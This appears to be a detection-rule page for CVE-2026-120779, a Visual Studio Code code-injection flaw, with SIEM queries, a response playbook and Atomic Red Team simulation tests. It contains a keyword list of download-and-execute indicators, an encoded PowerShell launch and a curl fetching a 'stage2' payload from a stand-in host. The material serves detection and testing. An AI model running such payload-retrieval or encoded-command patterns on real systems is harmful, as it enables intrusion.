Skip to content
CVE-2026-120779

CVE-2026-120779, Visual Studio Code Remote Code Injection (Network)

Initial Access Execution Last updated:

Detects potential exploitation of CVE-2026-120779, a critical code injection (CWE-94) vulnerability in Microsoft Visual Studio Code that allows an unauthorized, network-based attacker to execute arbitrary code. Exploitation typically involves VS Code loading attacker-controlled content (malicious workspace/.vscode settings, untrusted extensions, task/launch configurations, or remote/notebook payloads) that triggers code generation and execution. This detection surfaces VS Code (Code.exe / code / Electron) and its helper/extension-host processes spawning unexpected script interpreters, shells, or network tooling, and anomalous child-process chains consistent with workspace-trust abuse and code injection.

Vulnerability Intelligence

Theoretical

Weakness (CWE)

Timeline

Disclosed
November 10, 2026

CVSS

9.6
Critical (9.0–10)
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

What is CVE-2026-120779 CVE-2026-120779, Visual Studio Code Remote Code Injection (Network)?

CVE-2026-120779, Visual Studio Code Remote Code Injection (Network) (CVE-2026-120779) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for CVE-2026-120779, Visual Studio Code Remote Code Injection (Network), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution
Microsoft Sentinel / Defender
kusto
// df00tech DF00-f10876c2f2 · https://df00tech.com/detections/CVE-2026-120779 · licence: https://df00tech.com/detections/licence
let vscodeParents = dynamic(["Code.exe","code.exe","CodeHelper.exe","Code - Insiders.exe"]);
let suspChildren = dynamic(["powershell.exe","pwsh.exe","cmd.exe","wscript.exe","cscript.exe","mshta.exe","bash.exe","python.exe","node.exe","curl.exe","certutil.exe","rundll32.exe","regsvr32.exe"]);
DeviceProcessEvents
| where InitiatingProcessFileName in~ (vscodeParents)
    or InitiatingProcessParentFileName in~ (vscodeParents)
| where FileName in~ (suspChildren)
| where not(ProcessCommandLine has_any ("extensionHost","typescript","tsserver","eslint") and ProcessCommandLine has "--node-ipc")
| where ProcessCommandLine has_any ("-enc","-EncodedCommand","FromBase64String","DownloadString","Invoke-Expression","IEX","-c ","http://","https://","/dev/tcp","base64 -d")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessParentFileName, FileName, ProcessCommandLine, FolderPath
| order by Timestamp desc

Flags VS Code (or its helper/extension-host processes) spawning script interpreters or network tools with command lines indicative of code injection or payload download, consistent with CVE-2026-120779 exploitation via untrusted workspace content.

critical severity medium confidence

Data Sources

Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents

False Positives

  • Legitimate VS Code tasks or launch configurations that invoke build/test scripts (node, python, powershell) in trusted workspaces
  • Developer-run integrated-terminal commands that include URLs or base64 for legitimate tooling
  • Extension-host spawning language servers (tsserver, eslint) during normal development

Query fingerprint DF00-f10876c2f2 · licence

Sigma logsource & community rules

The detection logic for CVE-2026-120779, Visual Studio Code Remote Code Injection (Network) (CVE-2026-120779) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 VS Code task auto-executing PowerShell encoded command

    Expected signal: Process creation event with ParentImage Code.exe and child powershell.exe using -EncodedCommand.

  2. Test 2 VS Code spawning node with inline download-and-execute

    Expected signal: Process creation with parent code and child node executing inline script referencing a URL.

  3. Test 3 VS Code child shell curl to attacker host

    Expected signal: Process creation with VS Code parentage spawning a shell running curl to an external URL.


Response Playbook

Triage

  1. Confirm the affected VS Code version on the host and compare against the fixed build referenced in MSRC advisory CVE-2026-120779; flag if still vulnerable.
  2. Examine the flagged child process command line and determine whether it was user-initiated (integrated terminal/build task) or spawned automatically on folder/workspace open or extension activation.
  3. Inspect the opened workspace for untrusted .vscode/ artifacts (tasks.json, launch.json, settings.json) and recently installed or sideloaded extensions that could carry the injected code.
  4. Check whether VS Code Workspace Trust was bypassed or the workspace was opened in trusted mode from an untrusted source (clone, download, shared folder, remote).

Containment

  1. Isolate the affected endpoint from the network to prevent attacker-controlled follow-on code execution and C2.
  2. Terminate the malicious child process tree and suspend the VS Code process; disable or uninstall any implicated extension.
  3. Update Visual Studio Code to the patched release per MSRC guidance and enforce Workspace Trust / disable auto-execution of workspace tasks via policy.

Evidence Collection

  1. Capture the full process-creation chain (Code.exe → child) with command lines, hashes, and timestamps from EDR/Sysmon.
  2. Preserve the workspace folder contents including .vscode/ configuration files, notebook files, and the list/versions of installed extensions (extensions.json, globalStorage).
  3. Collect VS Code logs (Help > Toggle Developer Tools console, and ~/.config/Code/logs or %APPDATA%\Code\logs) and any dropped payloads for malware analysis.

Escalation Criteria

  • ! Escalate to IR if the child process established outbound network connections, downloaded a secondary payload, or achieved persistence.
  • ! Escalate if a malicious or trojanized extension or attacker-controlled repository is confirmed as the delivery vector, indicating potential broader supply-chain exposure.
  • ! Escalate if the same injection pattern is observed across multiple developer endpoints.

Investigation Guide

Forensic Artifacts

  • > VS Code process-creation records (Code.exe / CodeHelper.exe parentage) in Sysmon/EDR
  • > Workspace .vscode/ files (tasks.json, launch.json, settings.json) and extension manifests
  • > VS Code logs and globalStorage under %APPDATA%\Code (Windows) or ~/.config/Code (Linux/macOS)
  • > Shell/PowerShell history and dropped payload files on the endpoint

Tuning Guidance

Build an allowlist of expected VS Code child processes per development team (node, tsserver, python, git, language servers) and expected build-task command lines, then alert on deviations. Suppress known-good integrated-terminal activity by trusted developers, and tighten regex indicators to reduce noise from legitimate URLs in build scripts. Prioritize alerts where Workspace Trust was not established or the workspace originated from an untrusted/remote source.


Hunting Queries

Baseline the child processes VS Code spawns across the fleet to surface rare or anomalous interpreter/network-tool executions worth investigating.

Hunting — KQL
kql
// df00tech DF00-f10876c2f2 · https://df00tech.com/detections/CVE-2026-120779 · licence: https://df00tech.com/detections/licence
DeviceProcessEvents | where InitiatingProcessFileName in~ ("Code.exe","Code - Insiders.exe","CodeHelper.exe") | summarize count() by FileName, ProcessCommandLine, DeviceName | where FileName !in~ ("node.exe","tsserver.exe") | order by count_ desc
Hunting — SPL
spl
``` df00tech DF00-f10876c2f2 · https://df00tech.com/detections/CVE-2026-120779 · licence: https://df00tech.com/detections/licence ```
index=endpoint sourcetype="*Sysmon*" EventCode=1 (ParentImage="*Code.exe" OR ParentImage="*Code - Insiders.exe") | stats count by Image, CommandLine, host | sort - count

Atomic Red Team Tests

Test 1 VS Code task auto-executing PowerShell encoded command
windows

Simulates a malicious workspace tasks.json that spawns PowerShell with an encoded command from VS Code, mimicking code-injection execution.

Command

powershell
& "$env:LOCALAPPDATA\Programs\Microsoft VS Code\Code.exe" --version; Start-Process -FilePath powershell.exe -ArgumentList '-NoProfile','-EncodedCommand','VwByAGkAdABlAC0ASABvAHMAdAAgACIAQQB0AG8AbQBpAGMAVABlAHMAdAAiAA=='

Cleanup

powershell
Get-Process powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartTime -gt (Get-Date).AddMinutes(-5) } | Stop-Process -Force -ErrorAction SilentlyContinue

Expected Telemetry

Process creation event with ParentImage Code.exe and child powershell.exe using -EncodedCommand.

Expected Detection

KQL/SPL/EQL rules flag VS Code spawning powershell.exe with an encoded command.

Test 2 VS Code spawning node with inline download-and-execute
linux

Simulates injected Node.js code launched by VS Code that fetches remote content, emulating network RCE behavior.

Command

bash
code --version; node -e "console.log('ATOMIC fetch https://example.com/payload')"

Cleanup

bash
pkill -f 'ATOMIC fetch' 2>/dev/null || true

Expected Telemetry

Process creation with parent code and child node executing inline script referencing a URL.

Expected Detection

Detection rules match VS Code parent spawning node with URL/download indicators.

Test 3 VS Code child shell curl to attacker host
macos

Simulates a VS Code-spawned shell performing an outbound curl, emulating payload retrieval after code injection.

Command

bash
/Applications/Visual\ Studio\ Code.app/Contents/Resources/app/bin/code --version; /bin/zsh -c 'curl -s https://example.com/stage2 -o /tmp/atomic_stage2'

Cleanup

bash
rm -f /tmp/atomic_stage2

Expected Telemetry

Process creation with VS Code parentage spawning a shell running curl to an external URL.

Expected Detection

Detection rules flag VS Code child process invoking curl with an https URL.

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections